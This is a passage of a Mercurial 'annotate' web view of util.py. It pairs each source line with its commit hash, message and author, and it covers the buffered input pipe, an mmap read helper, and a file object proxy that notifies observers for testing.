util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
393 if size == 0 or not self._buffer: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
394 return b'' |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
395 buf = self._buffer[0] |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
396 if len(self._buffer) > 1: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
397 buf = b''.join(self._buffer) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
398 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
399 data = buf[:size] |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
400 buf = buf[len(data) :] |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
401 if buf: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
402 self._buffer = [buf] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
403 self._lenbuf = len(buf) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
404 else: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
405 self._buffer = [] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
406 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
407 return data |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
408 |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
409 def _fillbuffer(self, size=_chunksize): |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
410 """read data to the buffer""" |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
411 data = os.read(self._input.fileno(), size) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
412 if not data: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
413 self._eof = True |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
414 else: |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
415 self._lenbuf += len(data) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
416 self._buffer.append(data) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
417 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
418 return data |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
419 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
420 |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
421 def mmapread(fp): |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
422 try: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
423 fd = getattr(fp, 'fileno', lambda: fp)() |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
424 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
425 except ValueError: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
426 # Empty files cannot be mmapped, but mmapread should still work. Check |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
427 # if the file is empty, and if so, return an empty buffer. |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
428 if os.fstat(fd).st_size == 0: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
429 return b'' |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
430 raise |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
431 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
432 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
433 class fileobjectproxy(object): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
434 """A proxy around file objects that tells a watcher when events occur. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
435 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
436 This type is intended to only be used for testing purposes. Think hard |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
437 before using it in important code. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
438 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
439 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
440 __slots__ = ( |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
441 r'_orig', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
442 r'_observer', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
443 ) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
444 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
445 def __init__(self, fh, observer): |
36584
f5427483eebe
util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents:
36551
diff
changeset
|
446 object.__setattr__(self, r'_orig', fh) |
f5427483eebe
util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents:
36551
diff
changeset
|
447 object.__setattr__(self, r'_observer', observer) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
448 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
449 def __getattribute__(self, name): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
450 ours = { |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
451 r'_observer', |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
452 # IOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
453 r'close', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
454 # closed if a property |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
455 r'fileno', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
456 r'flush', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
457 r'isatty', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
458 r'readable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
459 r'readline', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
460 r'readlines', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
461 r'seek', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
462 r'seekable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
463 r'tell', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
464 r'truncate', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
465 r'writable', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
466 r'writelines', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
467 # RawIOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
468 r'read', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
469 r'readall', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
470 r'readinto', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
471 r'write', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
472 # BufferedIOBase |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
473 # raw is a property |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
474 r'detach', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
475 # read defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
476 r'read1', |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
477 # readinto defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
478 # write defined above |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
479 } |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
480 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
481 # We only observe some methods. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
482 if name in ours: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
483 return object.__getattribute__(self, name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
484 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
485 return getattr(object.__getattribute__(self, r'_orig'), name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
486 |
36832
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
487 def __nonzero__(self): |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
488 return bool(object.__getattribute__(self, r'_orig')) |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
489 |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
490 __bool__ = __nonzero__ |
6bdea0efdab5
util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents:
36793
diff
changeset
|
491 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
492 def __delattr__(self, name): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
493 return delattr(object.__getattribute__(self, r'_orig'), name) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
494 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
495 def __setattr__(self, name, value): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
496 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
497 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
498 def __iter__(self): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
499 return object.__getattribute__(self, r'_orig').__iter__() |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
500 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
501 def _observedcall(self, name, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
502 # Call the original object. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
503 orig = object.__getattribute__(self, r'_orig') |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
504 res = getattr(orig, name)(*args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
505 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
506 # Call a method on the observer of the same name with arguments |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
507 # so it can react, log, etc. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
508 observer = object.__getattribute__(self, r'_observer') |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
509 fn = getattr(observer, name, None) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
510 if fn: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
511 fn(res, *args, **kwargs) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
512 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
513 return res |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
514 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
515 def close(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
516 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
517 r'close', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
518 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
519 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
520 def fileno(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
521 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
522 r'fileno', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
523 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
524 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
525 def flush(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
526 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
527 r'flush', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
528 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
529 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
530 def isatty(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
531 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
532 r'isatty', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
533 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
534 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
535 def readable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
536 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
537 r'readable', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
538 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
539 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
540 def readline(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
541 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
542 r'readline', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
543 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
544 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
545 def readlines(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
546 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
547 r'readlines', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
548 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
549 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
550 def seek(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
551 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
552 r'seek', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
553 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
554 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
555 def seekable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
556 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
557 r'seekable', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
558 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
559 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
560 def tell(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
561 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
562 r'tell', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
563 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
564 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
565 def truncate(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
566 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
567 r'truncate', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
568 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
569 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
570 def writable(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
571 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
572 r'writable', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
573 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
574 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
575 def writelines(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
576 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
577 r'writelines', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
578 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
579 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
580 def read(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
581 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
582 r'read', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
583 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
584 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
585 def readall(self, *args, **kwargs): |
bfe38f787d5b
util: add a file object proxy that can notify observers
